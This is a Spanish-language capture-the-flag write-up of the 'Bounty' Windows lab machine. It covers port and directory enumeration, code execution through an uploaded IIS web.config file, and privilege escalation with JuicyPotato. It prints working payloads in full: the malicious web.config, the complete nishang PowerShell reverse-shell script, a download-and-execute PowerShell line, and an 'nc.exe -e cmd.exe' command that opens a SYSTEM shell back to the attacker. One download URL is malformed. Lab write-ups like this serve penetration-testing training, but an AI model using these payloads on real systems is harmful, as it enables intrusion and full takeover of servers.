Entrada

Bounty

Bounty

Skills

  • IIS Enumeration
  • IIS Exploitation - Executing code via web.config file upload
  • Abusing SeImpersonatePrivilege - Juicy Potato [Privilege Escalation]

Certificaciones

  • eWPT
  • OSCP

Descripción

Bounty es una máquina easy windows, descubrimos un directorio para subir archivos fuzzeando el puerto 80, subimos un archivo web.config con el que obtenemos un RCE (Remote Code Execution). Gracias a este RCE y usando nishang obtenemos una powershell, posteriormente escalamos privilegios usando JuicyPotato para abusar del SeImpersonatePrivilege


Reconocimiento

Se comprueba que la máquina está activa y se determina su sistema operativo, el ttl de las máquinas windows suele ser 128, en este caso hay un nodo intermediario que hace que el ttl disminuya en una unidad

1
2
3
4
5
6
7
8
# ping 10.129.195.92
PING 10.129.195.92 (10.129.195.92) 56(84) bytes of data.
64 bytes from 10.129.195.92: icmp_seq=1 ttl=127 time=56.4 ms
64 bytes from 10.129.195.92: icmp_seq=2 ttl=127 time=56.5 ms
^C
--- 10.129.195.92 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 56.373/56.438/56.503/0.065 ms

Nmap

Se va a realizar un escaneo de todos los puertos abiertos en el protocolo TCP a través de nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# sudo nmap -p- --open --min-rate 5000 -sS -n -Pn -v 10.129.195.92 -oG openPorts
[sudo] password for justice-reaper: 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-18 21:16 CEST
Initiating SYN Stealth Scan at 21:16
Scanning 10.129.195.92 [65535 ports]
Discovered open port 80/tcp on 10.129.195.92
Completed SYN Stealth Scan at 21:17, 28.18s elapsed (65535 total ports)
Nmap scan report for 10.129.195.92
Host is up (0.16s latency).
Not shown: 65534 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE
80/tcp open  http

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 28.25 seconds
           Raw packets sent: 131089 (5.768MB) | Rcvd: 21 (924B)

Se procede a realizar un análisis de detección de servicios y la identificación de versiones utilizando los puertos abiertos encontrados

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# nmap -sCV -p80 10.129.195.92 -oN services
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-18 21:17 CEST
Nmap scan report for 10.129.195.92
Host is up (0.065s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Microsoft IIS httpd 7.5
|_http-title: Bounty
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.58 seconds

Web Enumeration

Al acceder al servicio web nos encontramos con lo siguiente

Fuzzeamos en busca de rutas, como es un IIS 10.0 vamos a fuzzear adjuntando varios tipos de extensiones

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# dirsearch -t 200 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -e asp,aspx,config,php -f -u http://10.129.195.92 
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: asp, aspx, config, php | HTTP method: GET | Threads: 200 | Wordlist size: 1323270

Output File: /home/justice-reaper/reports/http_10.129.195.92/_24-07-19_11-46-50.txt

Target: http://10.129.195.92/

[11:46:50] Starting: 
[11:47:54] 200 -  974B  - /transfer.aspx
[11:48:42] 400 -   11B  - /*checkout*.aspx
[11:50:43] 400 -   11B  - /*docroot*.aspx
[11:50:56] 400 -   11B  - /*.aspx
[11:52:25] 400 -   11B  - /http%3A%2F%2Fwww.aspx
[11:54:35] 400 -   11B  - /http%3A.aspx
[11:55:10] 403 -    1KB - /UploadedFiles/
[11:55:10] 301 -  158B  - /UploadedFiles  ->  http://10.129.195.92/UploadedFiles/
[11:55:29] 400 -   11B  - /q%26a.aspx
[11:55:37] 400 -   11B  - /**http%3a.aspx
[11:56:37] 400 -   11B  - /*http%3A.aspx
[11:57:12] 403 -    1KB - /uploadedFiles/
[11:57:12] 301 -  158B  - /uploadedFiles  ->  http://10.129.195.92/uploadedFiles/
[12:01:46] 400 -   11B  - /**http%3A.aspx
[12:01:52] 400 -   11B  - /http%3A%2F%2Fyoutube.aspx
[12:05:45] 400 -   11B  - /http%3A%2F%2Fblogs.aspx
[12:06:17] 400 -   11B  - /http%3A%2F%2Fblog.aspx
[12:06:18] 301 -  158B  - /uploadedfiles  ->  http://10.129.195.92/uploadedfiles/
[12:06:18] 403 -    1KB - /uploadedfiles/

En /transfer.aspx vemos lo siguiente tras subir un archivo llamado dog.jpg

En /uploadedFiles he buscado por el archivo dog.jpg pero no está ahí, he visto en https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/iis-internet-information-services que puedes subir un archivo .config para ejecutar código malicioso. Con este código podemos crear un archivo llamado web.config para posteriormente subirlo a la web

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
   <system.webServer>
      <handlers accessPolicy="Read, Script, Write">
         <add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />         
      </handlers>
      <security>
         <requestFiltering>
            <fileExtensions>
               <remove fileExtension=".config" />
            </fileExtensions>
            <hiddenSegments>
               <remove segment="web.config" />
            </hiddenSegments>
         </requestFiltering>
      </security>
   </system.webServer>
</configuration>
<!-- ASP code comes here! It should not include HTML comment closing tag and double dashes!
<%
Response.write("-"&"->")
' it is running the ASP code if you can see 3 by opening the web.config file!
Response.write(1+2)
Response.write("<!-"&"-")
%>
-->

La web ha aceptado el payload

Si nos dirigimos ahora a http://10.129.195.172/uploadedFiles/web.config recibiremos un 3, eso significa que el código ha funcionado correctamente y que tenemos un RCE (Remote Code Execution). La web borra los archivos subidos rápidamente por lo hay que ser rápido para ejecutar el payload

Lo que vamos a hacer ahora es descargarnos Invoke-PowerShellTcp.ps1 de https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1. Una vez descargado el script vamos a copiar Invoke-PowerShellTcp -Reverse -IPAddress 192.168.254.226 -Port 4444 que encontramos en la parte de .EXAMPLE al final del script con la dirección IP de nuestra máquina y con el puerto por el que nos mandará la conexión

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
function Invoke-PowerShellTcp 
{ 
<#
.SYNOPSIS
Nishang script which can be used for Reverse or Bind interactive PowerShell from a target. 

.DESCRIPTION
This script is able to connect to a standard netcat listening on a port when using the -Reverse switch. 
Also, a standard netcat can connect to this script Bind to a specific port.

The script is derived from Powerfun written by Ben Turner & Dave Hardy

.PARAMETER IPAddress
The IP address to connect to when using the -Reverse switch.

.PARAMETER Port
The port to connect to when using the -Reverse switch. When using -Bind it is the port on which this script listens.

.EXAMPLE
PS > Invoke-PowerShellTcp -Reverse -IPAddress 192.168.254.226 -Port 4444

Above shows an example of an interactive PowerShell reverse connect shell. A netcat/powercat listener must be listening on 
the given IP and port. 

.EXAMPLE
PS > Invoke-PowerShellTcp -Bind -Port 4444

Above shows an example of an interactive PowerShell bind connect shell. Use a netcat/powercat to connect to this port. 

.EXAMPLE
PS > Invoke-PowerShellTcp -Reverse -IPAddress fe80::20c:29ff:fe9d:b983 -Port 4444

Above shows an example of an interactive PowerShell reverse connect shell over IPv6. A netcat/powercat listener must be
listening on the given IP and port. 

.LINK
http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html
https://github.com/nettitude/powershell/blob/master/powerfun.ps1
https://github.com/samratashok/nishang
#>      
    [CmdletBinding(DefaultParameterSetName="reverse")] Param(

        [Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")]
        [Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")]
        [String]
        $IPAddress,

        [Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")]
        [Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")]
        [Int]
        $Port,

        [Parameter(ParameterSetName="reverse")]
        [Switch]
        $Reverse,

        [Parameter(ParameterSetName="bind")]
        [Switch]
        $Bind

    )

    
    try 
    {
        #Connect back if the reverse switch is used.
        if ($Reverse)
        {
            $client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port)
        }

        #Bind to the provided port if Bind switch is used.
        if ($Bind)
        {
            $listener = [System.Net.Sockets.TcpListener]$Port
            $listener.start()    
            $client = $listener.AcceptTcpClient()
        } 

        $stream = $client.GetStream()
        [byte[]]$bytes = 0..65535|%{0}

        #Send back current username and computername
        $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
        $stream.Write($sendbytes,0,$sendbytes.Length)

        #Show an interactive PowerShell prompt
        $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
        $stream.Write($sendbytes,0,$sendbytes.Length)

        while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
        {
            $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
            $data = $EncodedText.GetString($bytes,0, $i)
            try
            {
                #Execute the command on the target.
                $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )
            }
            catch
            {
                Write-Warning "Something went wrong with execution of command on the target." 
                Write-Error $_
            }
            $sendback2  = $sendback + 'PS ' + (Get-Location).Path + '> '
            $x = ($error[0] | Out-String)
            $error.clear()
            $sendback2 = $sendback2 + $x

            #Return the results
            $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
            $stream.Write($sendbyte,0,$sendbyte.Length)
            $stream.Flush()  
        }
        $client.Close()
        if ($listener)
        {
            $listener.Stop()
        }
    }
    catch
    {
        Write-Warning "Something went wrong! Check if the server is reachable and you are using the correct port." 
        Write-Error $_
    }
}

Invoke-PowerShellTcp -Reverse -IPAddress 10.10.16.16 -Port 4444

Lo siguiente que debemos hacer es ponernos en escucha por el puerto 4444 con rlwrap y netcat

1
# rlwrap nc -nlvp 4444

En el mismo directorio donde tenemos el archivo web.config nos montamos un servidor http

1
# python -m http.server 80

Ahora vamos a modificar el archivo web.config para que ejecute el archivo Invoke-PowerShellTcp.ps1 de nuestro equipo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
   <system.webServer>
      <handlers accessPolicy="Read, Script, Write">
         <add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
      </handlers>
      <security>
         <requestFiltering>
            <fileExtensions>
               <remove fileExtension=".config" />
            </fileExtensions>
            <hiddenSegments>
               <remove segment="web.config" />
            </hiddenSegments>
         </requestFiltering>
      </security>
   </system.webServer>
   <appSettings>
</appSettings>
</configuration>
<%
Set obj = CreateObject("WScript.Shell")
obj.Exec("cmd /c powershell iex (New-Object Net.WebClient).DownloadString('http://Invoke-PowerShellTcp.ps1/Invoke-PowerShellTcp.ps1')")
%>

Una vez subido este archivo y veamos que la subida ha sido exitosa nos debemos dirigir a http://10.129.74.109/uploadedfiles/web.config. Si todo ha ido bien deberíamos recibir una shell en nuestro equipo

1
2
3
4
5
6
7
8
# rlwrap nc -nlvp 4444  
listening on [any] 4444 ...
connect to [10.10.16.16] from (UNKNOWN) [10.129.74.109] 49160
Windows PowerShell running as user BOUNTY$ on BOUNTY
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\windows\system32\inetsrv>whoami
bounty\merlin

Listamos privilegios y vemos que SeImpersonatePrivilege está habilitado, con este privilegio podemos convertirnos en el usuario Administrator

1
2
3
4
5
6
7
8
9
10
11
12
13
PS C:\windows\system32\inetsrv> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State   
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeAuditPrivilege              Generate security audits                  Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
SeImpersonatePrivilege        Impersonate a client after authentication Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled

Vamos a convertirnos en Administrator siguiendo las instrucciones de [https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens#seimpersonateprivilege](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens#seimpersonateprivilege. Para ver si podemos usar JuicyPotato listamos la versión del Windows Server, en este caso al ser anterior al 2019 podemos usarlo, de no ser así tendríamos que utilizar otras alternativas

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
PS C:\windows\system32\inetsrv> systeminfo

Host Name:                 BOUNTY
OS Name:                   Microsoft Windows Server 2008 R2 Datacenter 
OS Version:                6.1.7600 N/A Build 7600
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Standalone Server
OS Build Type:             Multiprocessor Free
Registered Owner:          Windows User
Registered Organization:   
Product ID:                55041-402-3606965-84760
Original Install Date:     5/30/2018, 12:22:24 AM
System Boot Time:          7/19/2024, 4:00:42 PM
System Manufacturer:       VMware, Inc.
System Model:              VMware Virtual Platform
System Type:               x64-based PC
Processor(s):              1 Processor(s) Installed.
                           [01]: AMD64 Family 25 Model 1 Stepping 1 AuthenticAMD ~2595 Mhz
BIOS Version:              Phoenix Technologies LTD 6.00, 11/12/2020
Windows Directory:         C:\Windows
System Directory:          C:\Windows\system32
Boot Device:               \Device\HarddiskVolume1
System Locale:             en-us;English (United States)
Input Locale:              en-us;English (United States)
Time Zone:                 (UTC+02:00) Athens, Bucharest, Istanbul
Total Physical Memory:     2,047 MB
Available Physical Memory: 1,591 MB
Virtual Memory: Max Size:  4,095 MB
Virtual Memory: Available: 3,600 MB
Virtual Memory: In Use:    495 MB
Page File Location(s):     C:\pagefile.sys
Domain:                    WORKGROUP
Logon Server:              N/A
Hotfix(s):                 N/A
Network Card(s):           1 NIC(s) Installed.
                           [01]: vmxnet3 Ethernet Adapter
                                 Connection Name: Local Area Connection 3
                                 DHCP Enabled:    Yes
                                 DHCP Server:     10.129.0.1
                                 IP address(es)
                                 [01]: 10.129.74.109
                                 [02]: fe80::105e:cd75:e3ee:bb82
                                 [03]: dead:beef::105e:cd75:e3ee:bb82

Lo que debemos hacer ahora es descargarnos JuicyPotato en https://github.com/ohpe/juicy-potato/releases/tag/v0.1 y Netcat en https://eternallybored.org/misc/netcat/. Podemos obtener los CLSID de Microsoft Windows Server 2008 R2 Datacenter en https://ohpe.it/juicy-potato/CLSID/Windows_Server_2008_R2_Enterprise/. Una vez descargado todo esto nos vamos a la carpeta donde se encuentran las descargas y creamos un servidor con smb

1
# impacket-smbserver smbFolder $(pwd) -smb2support

Desde la máquina windows obtenemos todos los archivos

1
PS C:\Users\merlin\Desktop> copy \\10.10.16.16\smbFolder\JuicyPotato.exe .
1
PS C:\Users\merlin\Desktop> copy \\10.10.16.16\smbFolder\nc.exe .
1
2
3
4
5
6
7
8
9
10
PS C:\Users\merlin\Desktop> dir


    Directory: C:\Users\merlin\Desktop


Mode                LastWriteTime     Length Name                              
----                -------------     ------ ----                              
-a---         7/19/2024   4:13 PM     347648 JuicyPotato.exe                   
-a---        12/26/2010   2:26 PM      36528 nc.exe 

Lo siguiente que debemos hacer es ponernos en escucha por el puerto 9001, el puerto 443 puede dar en ocasiones problemas porque es un puerto privilegiado, si nos da error debido al CLSID lo único que hay que hacer es probar con otro

1
# rlwrap nc -nlvp 9001

Ejecutamos el binario JuicyPotato

1
2
3
4
5
6
7
PS C:\Users\merlin\Desktop> ./JuicyPotato.exe -l 1337 -c "{9B1F122C-2982-4e91-AA8B-E071D54F2A4D}" -p C:\Windows\System32\cmd.exe -a "/c C:\Users\merlin\Desktop\nc.exe -e cmd.exe 10.10.16.16 9001" -t *
Testing {9B1F122C-2982-4e91-AA8B-E071D54F2A4D} 1337
....
[+] authresult 0
{9B1F122C-2982-4e91-AA8B-E071D54F2A4D};NT AUTHORITY\SYSTEM

[+] CreateProcessWithTokenW OK

Desde nuestro equipo deberíamos recibir esta consola como nt authority\system

1
2
3
4
5
6
7
8
9
# rlwrap nc -nlvp 9001 
listening on [any] 9001 ...
connect to [10.10.16.16] from (UNKNOWN) [10.129.74.109] 49175
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system
Esta entrada está licenciada bajo CC BY 4.0 por el autor.